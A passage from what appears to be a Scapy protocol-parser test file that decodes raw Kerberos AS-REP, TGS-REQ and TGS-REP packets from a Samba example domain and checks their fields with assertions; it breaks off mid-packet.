IP(b'E\\x00\\x05\\x95\\xff\\xff@\\x00\\xff\\x11\\x00\\x00\\x7f\\x00\\x00\\x15\\x7f\\x00\\x00\\x15\\x00X;p\\x05\\x81\\x00\\x00k\\x82\\x05u0\\x82\\x05q\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0b\\xa2H0F0D\\xa1\\x03\\x02\\x01\\x13\\xa2=\\x04;0907\\xa0\\x03\\x02\\x01\\x12\\xa10\\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com\\xa3\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa4\\x150\\x13\\xa0\\x03\\x02\\x01\\x00\\xa1\\x0c0\\n\\x1b\\x08LOCALDC$\\xa5\\x82\\x03\\xafa\\x82\\x03\\xab0\\x82\\x03\\xa7\\xa0\\x03\\x02\\x01\\x05\\xa1\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa2&0$\\xa0\\x03\\x02\\x01\\x02\\xa1\\x1d0\\x1b\\x1b\\x06krbtgt\\x1b\\x11SAMBA.EXAMPLE.COM\\xa3\\x82\\x03a0\\x82\\x03]\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\x01\\xa2\\x82\\x03O\\x04\\x82\\x03K\\t\\x05\\xd7\\x91\\xdc\\x14\\xaa\\xe2\\xfb\\xcc\\x85\\x1f*?\\xbau\\xbc0\\x0f\\x80\\x8bc\\x87\\xe5z\\x1a4i\\xa3\\x9bL[-\\xb1\\xb7\\xaa\\xd9-\\x01\\xc2\\xf2\\xdfs\\x17<\\xf3&\\x99\\'1\\xfa\\x80\\xd9\\x02\\xae\\xf5\\xb3S\\x14\\xc2L\\xc3e\\xc9\\x94\\x03dH\\xe2\\xa9\\xfd\\x9a\\xc6\\xffs\\x10\\xf3er\\xbd\\xa0\\xfep[~\\x82+\\xde0\\x91%tc\\xdcx\\xfe\\xd0\\xd8\\xc4\\xb6u\\x91\\xe7\\xe1C\\x00y\\xb8\\x15\\xd9\\x91j\\x0f\\xe7\\xa0\\xe24m\\xd94\\xe5.I\\xc51\\x8f\\x1do\\t\\xe9\\x98\\xb8\\xad\\xa6\\x92\\xf3\\x15f\\xc98o\\x92\\x0ch\\x08\\\\\\x8f\\xab\\xfau\\xaf\\x19v\\xcc\\xcb!v\\xb5v2\\xeb(h\\x1c+o\\xea\\xc3\\x0b\\xcf\\x81\\xc8\\x89\\xe8i\\xdd?\\xd1\\xaa\\x0f3\\xc9\\xe9\\xf2\\xd7\\x8a\\x93`\\x02\\x9d\\xb2 LV\\xda\\x0f&>,~\\xb3\\xecK\\xe76v\\x9a\\xc3\\x88\\xe3\\rj\\\\/\\xd6\\x9e_X\\x14z\\xc2w\\x1d.|\\xbf\\x18\\x01\\xc8`].\\xd2\\xc2\\x1e\\xd0\\x89\\x8f\\xd2\\x18\\xb9U\\xaf\\x98\\xe9V\\xe2\\x19\\xa1\\xbb\\xc45\\xd9\\x16\\x08c\\xaf$\\xef\\xf2\\xf4S\\xeco\\xa1\\xa1\\xe5)\\x99\\xc9b#[\\xd1:O\\xbej\\xb91\\xb3i\\xbepb\\x06\\xd8\\x14\\xc3\\xdf\\xbb\\x18\\xbf]\\xf1\\x82+\\x18*\\x85D\\xecy\\x0eu_\\xe2\\xfa\\xbcd\\x82A>\\x88p\\xa2\\xc1\\xf6\\x9c\\x89Qj\\xfdM\\x99\\xd1\\x84r\\x0fp\\x06$\\xab\\xc2\\xb5\\xae4\\xe8\\xf1\\xbb}\\x98\\xedWX\\xe2*uB\\x93\\x11\\x1c\\xc7f\\x1c\\xce\\xc9\\xff\\t\\x88\\x94\\xddN\\xcf\\xa68O\\x0c^I\\x9ew\\x81\\xba\\xc3\\xbc\\xa8\\x07\\x8b\\xd4\\xdf\\x7f(\\xc2\\x15gX\\xd0oN\\x00u\\x1aU@\\xbd\\xb8\\xa9)Ur\\x94\\xc1\\xcf\\xa1\\xd8k\\xc1F\\x19\\xd3rR\\xaa\\x93\\xe2\\x06D#\\x12\\x07M\\xe3\\x15\\xd6\\xd0\\xb3\\xa6\\x89\\x0c\\xfeLO6\\xe6\\xf0w\\x1a\\x80\\x0f\\xffO\\xf2N\\xf4(\\n\\xdb-\\x96`\\xa4\\xb7\\xd3g\\x16\\xbfY\\xff\\xad\\x95\\x19\\xd9\\x9cS\\xaa\\xe3\\x06W\\xf3\\xc2\\x18it5\\xda\\x1c\\x99\\x8a\\xaf\\xfa\"MT\\xc7$#j,P\\x9b\\xf9\\r\\xbbA\\xd0w\\x15.\\xc3PC\\xc4\\xe7vL/\\xca0h7\\x1c4z\\x8bS@\\x0ej\\xb4q\\xde\\x19\\xd8so\\x9c\\xea\\x8f^w7\\x1e\\x92\\x1c\\xcc\\xe2\\xa60\\xe8\\xce}\\xee\\xb1\\x87F!n\\x80\\xe4l\"\\xed\\xc2fI \\xb9\\t\\x14\\t\\x8d\\xect\\xa4\\xb48\\xe0\\xfd\\xf3\\xe5\\x8es\\xd2\\x08;\\x9f\\xb2\\xb8q\\x1bX\\xadd\\xbb\\x07z\\x16\\tZ\\xb0z1+h\\x0e\\xf7\\x98w\\x0bX\\xf0W\\t\\xa6\\x86.\\x1e\\x9c\\xc2\\x9d\\xac+\\xca\\xdf&\\xa9\\xf3\\xcb\\xa7\\xca\\x1fn\\xe8\\x8a]h\\xf6\\xeb\\xe9\\xd4\\xa0\\x16\\x1b\\xb4\\x8d\\xc7\\xaf\\xe3\\xf0.\\x85\\x1e\\xc2\\xa5\\xf2DhhgQ\\xe0\\xb8y\\xb8\\xbd\\x98\\xf8\\xa0\\rW\\x93/\\x07>0\\xf5\\x92Y\\x15Y\\x0bD\\xdb\\xd6\\xac#\\xd8z\\xbdeY\\x87\\xf2\\x97\\xfdZ\\x0c\\x1d\\xbc\\xefXONv\\xc9\\xfdp\\xdd^\\x16\\x83\\xc3\\xeb\\x9e\\x96+\\xe8\\xed\\x0c<$\\x83A\\xeb\\xc6e\\x94\\x0c\\x11\\x19\\xb4\\x99\\xcd\\x17\\xeb\\xcb.\\x0b}\\x01i\\x88\\x03R\\xde\\x1a\\xea\\x03\\x10\\xa9Z\\x8e\\xf7\\x87\\r\\xa6\\x08@\\xf7\\x96\\xc8\\xa5g\\xde\\x8dE\\xf8\\xb0\\xe8\\xe6T\\x80=\\x0cm\\xe0z\\xa5\\x03\\xa2X\\xed\\'\\x17\\x001O\\xee\\xfb\\x87\\xbe\\xf7\\xbbS\\xc1p\\xaeZ\\x17\\x92}\\xc2\\x07\\x01\\x81\\xaew\\xd9\\xc5\\x9c\\xe5k\\x8d+\\x13\\xd2\\x00Q\\xd4\\xe5M\\x9d\\x06\\xc7)\\xac\\x06\\xb2+\\xd1\\x83\\xcb\\xfe\\xb9\\xf9\\x0bbRN\\x04\\xe7\\xd8\\xa0\\xf9\\xe3\\xc3m\\x18\\xc4\\x108\\xfa\\xa6\\x82\\x01:0\\x82\\x016\\xa0\\x03\\x02\\x01\\x12\\xa2\\x82\\x01-\\x04\\x82\\x01)/pDi\\x13\\xee\\x0b\\x8ehN2\\x01P\\x19|\\xda\\x1a\\xde\\xec\\xde\\rt\\xcbe7\\x00-sG&\\x8b\\xfc\\xa4\\x92~~[,\\xd5\\rAj\\xd6[\\xbe\\xeeB\\xf8X\\\\x\\xa6$Z\\x83\\xf6\\x1bq\\xc5\\x8fm\\\\\\x94\\xd7l\\xc5\\x89#\\xcb\\xcd\\xaf\\xff\\x15\\x1b\\x8f;7\\xb0\\xc8u\\x19\\xb1\\xd0\\xb0\\x93\\xa7z\\x9cz\\x14\\x0b\\x86q\\x01\\xb8<\\xa7\\xa4\\xceb\\x1f\\x88\\x14\\xe3S0\\xe3]\\xa5\\x9b\\xa0\\x0e\\x97#\\x87\\x9a\\xe0\\x90a\\xdfj.\\x1e6x\\x87GV\\xc0/\\xa4\\xab}\\xdbS\\xd5\\xff<t\\xb4}\\x05~\\xf3\\x08\\xef\\xde\\xb8\\xea\\xb2$\\xf8\\x12rPcE1;\\x1a]\\xa5\\xa9\\\\\\'\\xc1a~\\x05\\xd5\\xa0~\\x91\\xfe\\x8e3\\xfa\\x1c\\xa1\\xa8\\xba\\xfa\\x1f\\xeeA\\x9a\\xd5\\x17\\xab\\xbd\\xe4\\x82.\\x13\\xa2\"\\x87\\x1b\\x0c\\xd8\\xd0\\xdd\\xa0\\x7f\\xa8\\x9e\\x86\\x0b\\xe5\\x94\\xcdk/\\xd1\\x1e\\xb4\\xa7\\xc5\\xd5x\\x81\\xe7\\xe2\\xdav\\x1a\\xb2\\xa6\\xc5Ma\\xe5\\xb6\\x8b\\xa3\\xfck\\x9c\\x7fG\\x08\\xcc\\x07X\\xd50a\\xa14\\xd7;P\\xe6[4\\x98\\xdbR\\x87\\xad^U3\\x1ao\\xcb\\xaf\\x01\\x95\\xa1Osnt\\xd7_\\x87A\\x9b$\\x9d{V\\xf5~\\x91\\x13\\xa8J1\\xd4\\xcb\\xb4\\xcb\\xc2Pe')\n\nassert isinstance(pkt.root, KRB_AS_REP)\nassert pkt.root.padata[0].padataType == 0x13\nassert pkt.root.crealm == b\"SAMBA.EXAMPLE.COM\"\nassert pkt.root.cname.nameString[0] == b\"LOCALDC$\"\nassert isinstance(pkt.root.ticket, KRB_Ticket)\nassert pkt.root.ticket.sname.nameType == 0x2\nassert pkt.root.ticket.sname.nameString == [b\"krbtgt\", b\"SAMBA.EXAMPLE.COM\"]\nassert len(pkt.root.ticket.encPart.cipher.val) == 843\nassert len(pkt.root.encPart.cipher.val) == 297\n\n= Parse TGS-REQ\n\npkt = IP(b'E\\x00\\x06V\\xff\\xff@\\x00\\xff\\x11\\x00\\x00\\x7f\\x00\\x00\\x1d\\x00\\x00\\x00\\x00;\\x97\\x00X\\x06B\\x00\\x00l\\x82\\x0660\\x82\\x062\\xa1\\x03\\x02\\x01\\x05\\xa2\\x03\\x02\\x01\\x0c\\xa3\\x82\\x05\\xac0\\x82\\x05\\xa80\\x82\\x04\\xc1\\xa1\\x03\\x02\\x01\\x01\\xa2\\x82\\x04\\xb8\\x04\\x82\\x04\\xb4n\\x82\\x04\\xb00\\x82\\x04\\xac\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0e\\xa2\\x07\\x03\\x05\\x00\\x00\\x00\\x00\\x00\\xa3\\x82\\x03\\xcca\\x82\\x03\\xc80\\x82\\x03\\xc4\\xa0\\x03\\x02\\x01\\x05\\xa1\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa2&0$\\xa0\\x03\\x02\\x01\\x02\\xa1\\x1d0\\x1b\\x1b\\x06krbtgt\\x1b\\x11SAMBA.EXAMPLE.COM\\xa3\\x82\\x03~0\\x82\\x03z\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\x01\\xa2\\x82\\x03l\\x04\\x82\\x03hr\\xb6;\\xb7\\x93\\xfb4\\xadU\\x17A\\x93\\xf27\\xc0\\x88I\\x1f\\x0f\\x8eG\\xbfk\\x13ZF\\x1a|l\\xc9\\xbd\\xfe\\xc1\\xe8\\xd6\\x9a\\x18t\\xc7\\x04\\x05\\xfe\\xa8\\xcaN\\xb7`\\x14t\\xdf\\xf8\\x82R`m\\xac\\xd6\\x17\\\\b\\xa5\\xe3\\x98\\xca\\x97\\xb7\\xaam\\xbf\\xd1\\x19\\x05\\x16k\\xbb\\xf451,H\\x88e\\xed\\xbc\\x1a\\x87\\xe1\\xfb\\xad\\xf0\\xd1\\xc0\\xb5L=\\x95\\xca\\xd7\\xc6;\\t7%QI\\x98s!\\xf9\\xfe\\xfe_\\xe9\\xae\\xeaj\\x1e\\xb8\\x0eN9\\x8e_\\xcd\\x1d,\\xfd\\x16\\x0c\\xad\\xfc@\\xd9\\x97\\xa2n)\\x17\\x02\\xffL\\xff\\xcd{\\n\\r\\xb3\\x07W7\\xcb\\x93\\x0f\\x1b\\xc3\\xae\\xb7\\xc9f{\\x1c\\xa7\\xc6\\xf3\\xe8\\x1cz\\x16\\x8a\\x15\\xf5H6k\\xc2\\r6L\\xf1\\x99\\x80Z\\xd2R\\xce\\xd5\\xbc\\x82c_p[JG\\nu\\x1a\\xa5Xz\\x96&\\xec\\xf8\\xe8\\xa2 8\\xfaGD87\\x11\\xac\\x87\\xb5E\\xf7\\'x\\x0b,\\xa5,=\\xd2;s\\xf9\\xbb\\xc1\\xc30|\\xb2y\\xa5\\xd5\\xee\\xe3\\\\\\xeam`\\xa4\\xd3\\xd1\\n\\x11\\xb5\\xd3\\xc8\\xcats{\\xa8\\x07\\x18\\xdc\\x12d\\x0b\\xab-eB\\x1f\\xd7&\\xf2\\x1e\\xb7\\r\\xdf\\xe6\\xb7\\xa3{_\\xd0.xrFG\\x03\\xe0r\\xcfu\\xbd\\x14>\\xc1\\x9f\\xeb\\xae\\xcb\\x04\\x071\\xf1x\\xff\\xe5M\\xfc\\xbct\\xea^e!\\xce!|\\x893/\\xa1\\n.\\xb7T\\xc5Ph\\t\\xf1\\xbak\\xcd\\xdb\\xff+c\\xab\\xcfY\\x8a;*/\\xd8\\xa5\\xd0\\xd7c\\xc6\\x02B\\xed\\x82\\xcf\\xa0\\xe5\\xdf@rq\\x8cRG\\x1a\\xdey_#\\x18\\t\\x9d\\xac\\xa4\\xfe\\xd0\\xeb{\\xcb(E\\xb8\\xac\\xc9\\xe3\\x06\\xe0\\x15}\\xb89\\xb1L>\\x060\\x93\\x1dtl\\x1f\\xa0\\\\s\\xdb\\x85\\x82\\xdf\\xb3L\\x80\\xe7/\\xae\\x0e\\x11V\\xdeH:J K\\xb1g\\x95\\n\\xc2\\xd2\\xc2\\x83k\\\\6\\x0eg\\xd0{v\\'\\xa4\\x1c\\xe2\\x10-\\xeb\\'\\xc7?F\\xd8J\\xe8\\x90Z4V\\x12\\\\\\x9e\\xc2\\x05\\xfc|\\xb3\\x01\\xe5\\x1b\\x14\\n\\xaa\\xff\\xb9\\xff\\x07\\x03L\\x10\\x1d\\xc8\\xa8\\xed\\x00A\\xf3\\xf2\\x16\\xa3\\xd8\":!\\x04m\\x10Uo\\x11\\xa5d5\\xc1\\x1es\\xde=\\xa6\\xdd\\x9b\\'\\x03(L(*\\x92C\\xca\\xc8\\x92\\x1b\\x08\\x06z/\\xb4=\\xd8Mz\\x816\\x9f-\\xc0\\xe8\\xcf\\xd2A\\xfeyk)WH\\x11\\xdf\\'\\xf4\\xefG\\xfc\\xef\\xd0\\xb5\\xec\\x91\\x87\\xf4}b\\xb2\\x1e>\\x1f\\x9d4~h\\xa0=\\xfd(i0|\\x03\\x98k\\x05#Y\\xe35\\x1c\\x7fn\\xac\\xf2\\x896\\xa6p\\x13\\xc1\\x94&Q\\x8f\\x1c\\x07\\x8cN\\xb0\\xb6=\\x83R46\\x04\\xfa\\x86\\xbc\\xc1UO\\x03\\xd8\\x0e\\x0c\\x9f\\xbd/\\x02f\\x90\\xa8\\x9e\\xd3 \\xb4\\\\\\n!\\xf9\"\\xc3\\n\\xe7\\xe2\\x92\\x05t\\x11\\xa1\\x9e<$i+U\\\\d1\\t^\\'\\xb7\\x12\\xfd\\xe5\\xd7\\xc4\\xd4\\xb2\\xa9!`\\xd8\\x97\\x8b\\x9a\\x0c:\\xcc\\x85\\x90)_\\x11\\xefR\\x00\\xe5k\\x12I\\xe2\\xf6\\xf4h\\xa4.\\x97\\xf2\\xea?\\x1e\\xf9\\xcf\\xe6\\xac\\xc7\\xdd\\xd0\\x8f\\x0bml\\xcb[\\x801\\xce\\xae\\xd28\\xc0\\xe9\\xb1\\xb0\\x19\\xc9r\\xd2\\xd4=\\xdaw\\xff\\xc7\\xbd\\xe7\\xf8\\xa9\\x8d\\xc6\\xda\\xa9y\\x9b\\x98\\x19\\x05\\xb1]\\xbc\\xe2\\xe3\\xaf\\x8c8\\xcd\\x12\\xf8\\x90\\xea\\xd0\\xe3\\xc3\\xba|\\xe28(\\x8f\\x99\\xba\\xden\\xefJ\\xc4r\\x9e\\x17\\xe8&\\xd6\\xe4\\x83 \\x92\\x19d?\\xa6\\xcc\\xbd\\xff\\xa5\\x83@\\x17\\x13\\xefY\\xd7\\xa7\\x1e\\xe4\\r\\xd2\\x846\\xf8~!L\\xe5\\xdd\\xb3\\xb4(\\x14\\x1e\\x1a\\xfcP\\x8ezE\\x1ffFJ.\\x82\\x1f\\xd3\\xc5l\\x9e\\x0b3u4b\\x0c\\x94\\xd6R\\xc0\\xe5\\x96\\x83\\x95\\xa1\\x12\\xa2\\x18;\\x96\\x9di\\xca\\xc8\\xd9\\x15\\x81\\n\\xa9\\xc3\\xe8\\x1eS \\x93j\\xeb\\xa4\\x81\\xc60\\x81\\xc3\\xa0\\x03\\x02\\x01\\x12\\xa2\\x81\\xbb\\x04\\x81\\xb8-Y=\\xd3\\xfc\\xeb \\xd8\\x16\\xd9\\xb2O\\xfc1\\xc9\\xd5\\'zN\\xd2\\xb6\\xf4\\xc6Q7\\xaa\"B\\xe7\\xac3\\x19\\x86\\xad\\xd5@\\xa6\\x1f\\xd8a#EN\\n\\xba\\xc3\\xd95\\xe5\\x93\\x07,j\\x97V [o\\xe3\\x91!d\\xe6|\\xa4\\x94\\x14\\x9dj1J\\x82as[\\x83\\x80\\x99\\xa3\\xec\\xc1\\xda_\\xe7\\nLej\\\\\\x9eW\\x11\\'7\\xfeq=)\\xef-\\xf5K\\x15\\x8e\\xbf\\xb8]m\\xb6\\xc2\\xce\\xb4xN,\\xdb\\xbeaB\\x86\\'\\x068\\x05\\\\\\xafF\\x08DFpJtX\\x0c\\xc1\\xdfw\\x9b\\xb1\\xf8x\\x93\\xac\\xf9\\x14X;h\\xe3E\\xc0\\xe4i\\x19\\xe5:\\xe7\\xe5\\x86\\xa7{\\x96\\t|\\x9aG\\xc0\\x169\\x08\\x03A\\xa6\\xc4j\\'-\\x07\\xf4\\x9c\\x88\"\\xc00\\x81\\xe0\\xa1\\x04\\x02\\x02\\x00\\x88\\xa2\\x81\\xd7\\x04\\x81\\xd4\\xa0\\x81\\xd10\\x81\\xce\\xa1\\x170\\x15\\xa0\\x03\\x02\\x01\\x10\\xa1\\x0e\\x04\\x0cW\\xb7\\xdc~\\x96.\\'\\x92\\x1a\\xdfh\\xb9\\xa2\\x81\\xb20\\x81\\xaf\\xa0\\x03\\x02\\x01\\x12\\xa2\\x81\\xa7\\x04\\x81\\xa4\\x9b\\xfc\\xb3\\x8c\\xc5\\x1e\\xa1q\\x19\"\\xf0\\\\\\xa7\\xa6`\\xc9:\\xd6KA\\xd5\\xac\\xa9$\\x8a\\x18z\\x81\\xce\\xc9\\x0f\\xe0\\xd5\\xad\\x848t\\xb7\\xe3\\xf1\\xffC\\'\\x16Z\\xc6\\xe1of5\\xf2R\\xb31\\xbf\\xfa\\xaf$\\xe5\\x1d\\xa8\\xd3sf\\xbb$\\xc5%\\x17\\x0c\\x98\\x98\\x08\\x85\\xd18\\x91o\\x8d\\x83\\x86P\\x9e\\t\\xd9V\\xd1\\xe4\\xeb\\xa8\\x11\\xd6\\xaa\\xb7\\x88\\xde\\xbe2\\xbf7\\xb8\\xca\\x1c\\x90\\x10GB\\x06\\x046\\xc8\\xff\\n\\x02$_\\xce\\xcfk\\xc9xd\\xe5\\xbf!4q\\x83*/B[\\x8fJ\\xfa\\xf4\\xad97\\xd8\\x8f,3b\\xb7\\xe0\\x94\\xca\\n\\x12]\\xc9\\xfc\\x7f\\xbb{2p\\xa0\\x8f1e6$\\xa4v0t\\xa0\\x07\\x03\\x05\\x00@\\x81\\x00\\x00\\xa2\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa3,0*\\xa0\\x03\\x02\\x01\\x01\\xa1#0!\\x1b\\x04ldap\\x1b\\x19localdc.samba.example.com\\xa5\\x11\\x18\\x0f20150130011709Z\\xa7\\x06\\x02\\x04T\\xcaN\\xf5\\xa8\\x0b0\\t\\x02\\x01\\x12\\x02\\x01\\x11\\x02\\x01\\x17')\n\nassert isinstance(pkt.root, KRB_TGS_REQ)\nassert pkt.root.padata[0].padataType == 0x1\nassert len(pkt.root.padata[0].padataValue) == 1204\nassert pkt.root.padata[0].padataType == 0x1\nassert isinstance(pkt.root.padata[0].padataValue, KRB_AP_REQ)\nassert pkt.root.padata[1].padataType == 0x88\nassert len(pkt.root.padata[1].padataValue) == 212\nassert pkt.root.padata[1].padataType == 0x88\nassert pkt.root.padata[1].padataValue.armoredData.encFastReq.etype == 0x12\nassert pkt.root.reqBody.kdcOptions.val == '01000000100000010000000000000000'\nassert pkt.root.reqBody.sname.nameString == [b'ldap', b'localdc.samba.example.com']\nassert pkt.root.reqBody.till.val == '20150130011709Z'\n\n= Parse TGS-REP\n\npkt = IP(b'E\\x00\\x06V\\xff\\xff@\\x00\\xff\\x11\\x00\\x00\\x7f\\x00\\x00\\x15\\x7f\\x00\\x00\\x1d\\x00X;\\x97\\x06B\\x00\\x00m\\x82\\x0660\\x82\\x062\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\r\\xa2\\x81\\xe90\\x81\\xe60\\x81\\xe3\\xa1\\x04\\x02\\x02\\x00\\x88\\xa2\\x81\\xda\\x04\\x81\\xd7\\xa0\\x81\\xd40\\x81\\xd1\\xa0\\x81\\xce0\\x81\\xcb\\xa0\\x03\\x02\\x01\\x12\\xa2\\x81\\xc3\\x04\\x81\\xc0\\x8cqa\\xdf\\xfe\\x13<7\\xc1:\\x8d\\x0bshxOC\\xd6\\xcb\\xbdz\\x1a\\xf5\\xaa\\x9c8\\xce\\x9f\\xed\\x99\\xeb\\xd8A\\xba\\xdcj\\xffF4|\\xc7\\xab\\x84~\\xb9\\x8f\\x04\\x0e<\\xf1p#\\xf7kK\\x86\\x05+%\\\\:\\xcb^\\xc8e\\xeb\\x0f\\x81\\x92\\xa0\\xf3\"\\xcd\\xbb\\xf3\\xb9\\x91\\xc8\\x94\\xa27\\x8c\\xae\\xc44\\xa8\\xd27\\xd1J`K\\x93M\\xe3\\xefUy\\xda\\xc6\\xb7\\xe6\\xc8\\xed\\xa79\\xd4\\xd5\\x9a\\x12f\\t\\x1c\\xb5\\xa7A\\x95\\xaf\\xa1\\xac\\x1d\\xde\\xfb\\x1c\\x0ec<5\\t\\xabYU\\xd4\\xd4\\r\\xf4]\\xec\\x00t^K\\xed\\xca\\x81\\xad\\xbe\\x99\\xdc\\x10g\\x9c$\\xfb\\x82s?\\xf4\\xb9\\xa5\\x8eW\\x02\\x7f\\x87A\\xf7\\xc4;2q \\xd2\\xbc\\x10\\x13\\xc9\\xa0w[\\r\\x01Pt\\x7f\\x95^\\\\\\x8e\\xbe\\xee+\\xa3\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa4\\x1a0\\x18\\xa0\\x03\\x02\\x01\\x01\\xa1\\x110\\x0f\\x1b\\rAdministrator\\xa5\\x82\\x03\\xe5a\\x82\\x03\\xe10\\x82\\x03\\xdd\\xa0\\x03\\x02\\x01\\x05\\xa1\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa2,0*\\xa0\\x03\\x02\\x01\\x01\\xa1#0!\\x1b\\x04ldap\\x1b\\x19localdc.samba.example.com\\xa3\\x82\\x03\\x910\\x82\\x03\\x8d\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\x01\\xa2\\x82\\x03\\x7f\\x04\\x82\\x03{\\x97\\x9c\\xac\\xf1\\n\\xe6;\\xd8\\xe28m\\xba\\xb7\\xea#\\x19\\xd3Zf\\x1c@\\x00H\\xf9\"\\xe7\\xb4\\xf3&3\\x02X\\xb5\\xc0{e\\xffm\\xc8\\xcf\\xe2\\xf9p\\xb57~\\xd8\\x91?/5\\x7f\\xde\\xc4/\\xaa\\x1c\\x08pQ(\\xff@\\x8e\\xb7\\xf0\\x91N\\xbcK&0\\xbdWo_W\\xf8\\xbe\\xd6(\\xd1`\\xba\\x8f.\\x86\\xc29\\x88\\xe5:,\\x16ui\\x98y\\x100Q\\xf6k1\\xe6\\xe5-e\\xdc\\x80\\xc0@\\x87i9Z\\x7f\\x07\\xeb\\xf2\\x8f\\xb1\\xc4\\x83*z\\xbbq\\xbfZs\\xd7\\xefFAZ\\x84w\\xa2-\\xc8\\xca\\xa3\\x84\\xa2\\x0bm\\xce7 pIX\\xa1\\x05\\x83\\x01t\\x06\\xabI\\xa3dp\\xe3\\xaa\\xd0\\xd6\\xb0!\\xfd\\xbea\\x9buL\\x0f\\x99\\xbfg\\x11|J?\\xfdl\\xcd\\xb6\\xae\\n\\xdc\\x06kS\\xc60\\xad\\xf3\\xacq\\x0f\\xd5lbX\\x8d^\\xf9\\x83\\x80ax\\x1c\\x12\\xaa\\xe3\\x07Y\\x1ef\\xae\\xd6\\xc9\\xd4y\\x94\\xb5\\x93\\x83\\x03m\\x03U\\xf3\\x9a}L3Xi \\xf94\\xffFf}\\x99\\xfd\\x04I\\xe3\\xcd\\x9f\\r\\xb7>r\\x0e\\xcf\\xeb$\\xc8\\xdcO\\x95\\x88\\x04\\x1c\\xf0\\xf9\\t2\\x92\\xc4\\xe3\\x10\\xfa\\xb0\\x14\\xb5\\xfb\\xf0.\\xcc\\xa3\\xdc\\xab\\x0f\\xd76\\x8e\\xbf\\xd8\\x7f@U-x\\xc8 \\xd42\\xf8\\xfd\\xce8\\xdbl\\x16\\xc1\\xaa\\xb3\\xe32\\x87\\xd3\\xecIc-\\xcf\\xab7\\x0b\\xd9b\\x9f9\\x06\\x88|q\\xca[\\xb8\\n\\xfb\\xf7\\x0bl]:\\xbc\\xe1\\xab:K;w6\\xcf\\x1c\\xa6\\x1a\\xec\\xc0\\xe2\\xea\\x89\\xe6u\\xe4(\\xec\\xec\\xda!\\x06\\xfd\\x9c\\xeeZb4\\xeb\\xff\\x06j\\xbc\\xfe\\x90\\xb6\\x93\\x0b:t\\xf1|\\xa3`\\xfb\\xc5\\x9a\\xa5\\x11w\\xb2}oP\\xccj\\x10M\\xf3\\x98\\xbdCj\\xa9\\xcd\\x93\\x83\\xf9N\"\\xbc!z8\\xf6\\xca\\xe3\\xbc\\x04\\x92\\x14\\x16i\\xa40\\xbf~\\xb5\\x12\\xbeC\\x83\\x9e\\xbdH\\x13\\xcasxFM\\\\\\xd7\\xc9\\xd3B\\xacM\\xe7\\x1c\\x8ej\\x12\\x197\\x06\\xae\\xbd\\x1c\\x84J}\\xab\\x8b\\x05F\\x8a\\x13\\xbe@]\\r\\xc2-\\x9fA\\x19\\x94Jl\\x12\\xba\\n\\xad\\x16T\\x94\\xb85U\\xc1o\\t\\x04\\xb2F\\xa1\\x17M4\\xc3\\xb2N\\x17\\x8f\\xfe\\x190\\xc2\\x11q\\xc3A\\xd9\\xafn\\xc8\\xc909\\xc4\\x05\\x03\\xf3\\xb2\\x8e\\x97\\xfcL>E`\\x11`\\xce\\xe5n\\x15\\x84\\x84~\\xdfZ\\x98S\\x0f[\\xc3\\xaa\\x8e\\xcf\\x9cU\\x93\\x94\\x04>\\x05\\x90\\x1c\\x00\\x1a7\\xb7\\xe9\\xc9\\xc9\\xb6Eq\\x13\\x1e\\xb5\\x86\\xc3}&\\xe7\\x1b\\xe5(\\xce\\xe3b\\xd5\\t\\x11\\x1f\\x1e\\xe3;O\\xd9J\\x85\\xc5\\xfa\\x82\\xd2\\xc9\\x88\\xc5\\xa8\\t\\xf5\\xdb\\x85vi\\x1d\\x97\\x12j\\xe8\\xabL\\xf0J\\xd3\\xbe\\x1c\\x7f\\x1a\\xb7$k\\x87\\x9e\\xc3\\x9aH\\x1e\\x96>\\x19\\x0fE\\xff\\xe2\\xc8\\xc2|W4\\x12\\xe4\\xc7G[\\xdc\\x93\\x17E%ur\\xcem\\x169\\xf2I\\xab\\xbb\\x8d\\xca\\x0fM0n\\x19\\x06\\xeb<\\x03\\xa7fw^\\xdd(V:\\xc0\\x14+\\x08L\\x17\\xbe\\xc9<L\\xb3\\xc5\\xfbqgo\\xf9\"\\x83\\xf8\\r\\x91m\\xe16!F\\xb9r&\\xb2\\xcd0\\xdc\\xb3\\\\\\xce%t\\xcc\\x91\\xc09\\x83\\xe6R\\xd9n\\xc4\\xd8evc\\xcdl6\\x04P__\\xcel(Rt\\xa1(.Xl*R\\xf2\\xa9\\x9f\\xc8H\\\\b\\xaa\\xf5k\\xa3\\x01\\xc1\\x1e\\xd7\\xa4\\x97\\xe58\\x8aR\\xcf\\xc0\\xcc\\xdf\\xa7%\\xf1[\\xa4T\\xedb\\xa65\\xf85\\xd6xd\\xe2\\xe1\\xde@\\xefV\\x87\\xce\\xac\\x0c\\xb8\\xaf\\x01\\xd9\\x94\\xdf\\xb1S\\x7f\\xf1\\x1e=R7H\\xdc\\xea\\x1b\\xe4\\xa5\\xfb\\xc7\\x9a@b\\x8bJ!T\\xab6w\\xa5/\\xef\\x92\\x1d\\xd71\\xfap\\x8d\\xf3\\xb1\\r\\xd8\\xed\\x1aR\\xc2\\xd9z@g\\x10\\x0b\\x8c2\\xd4\\x1a\\'\\x9e\\xda6\\x80\\xa8\\x93\\x0bT\\xc2m\\x87bt\\xc2\\xf3;\\xb9>\\xa6\\x82\\x01\\x1e0\\x82\\x01\\x1a\\xa0\\x03\\x02\\x01\\x12\\xa2\\x82\\x01\\x11\\x04\\x82\\x01\\r\\xeeN\\xd0\\x1b\\xa0\\xc4\\xb0C\\x12,\\xdd\\xbd\\x96\\xe8\\xbai\"j\\xbc[O\\xff}Z\\n5%\\x98\\xfc{`Q\\x92\\xe4\\x95\\x1azM\\x15b\\x98Ah\\x02\\xb2V\\xd5\\x0f9\\xb3\\xd5\\xcf!\\xdf\\x1e\\x9c\\xd4\\xc08\\xc0|\\x10\\xc8\\xb0ol\\xcd\\xa6?\\x19\\xfa\\xb9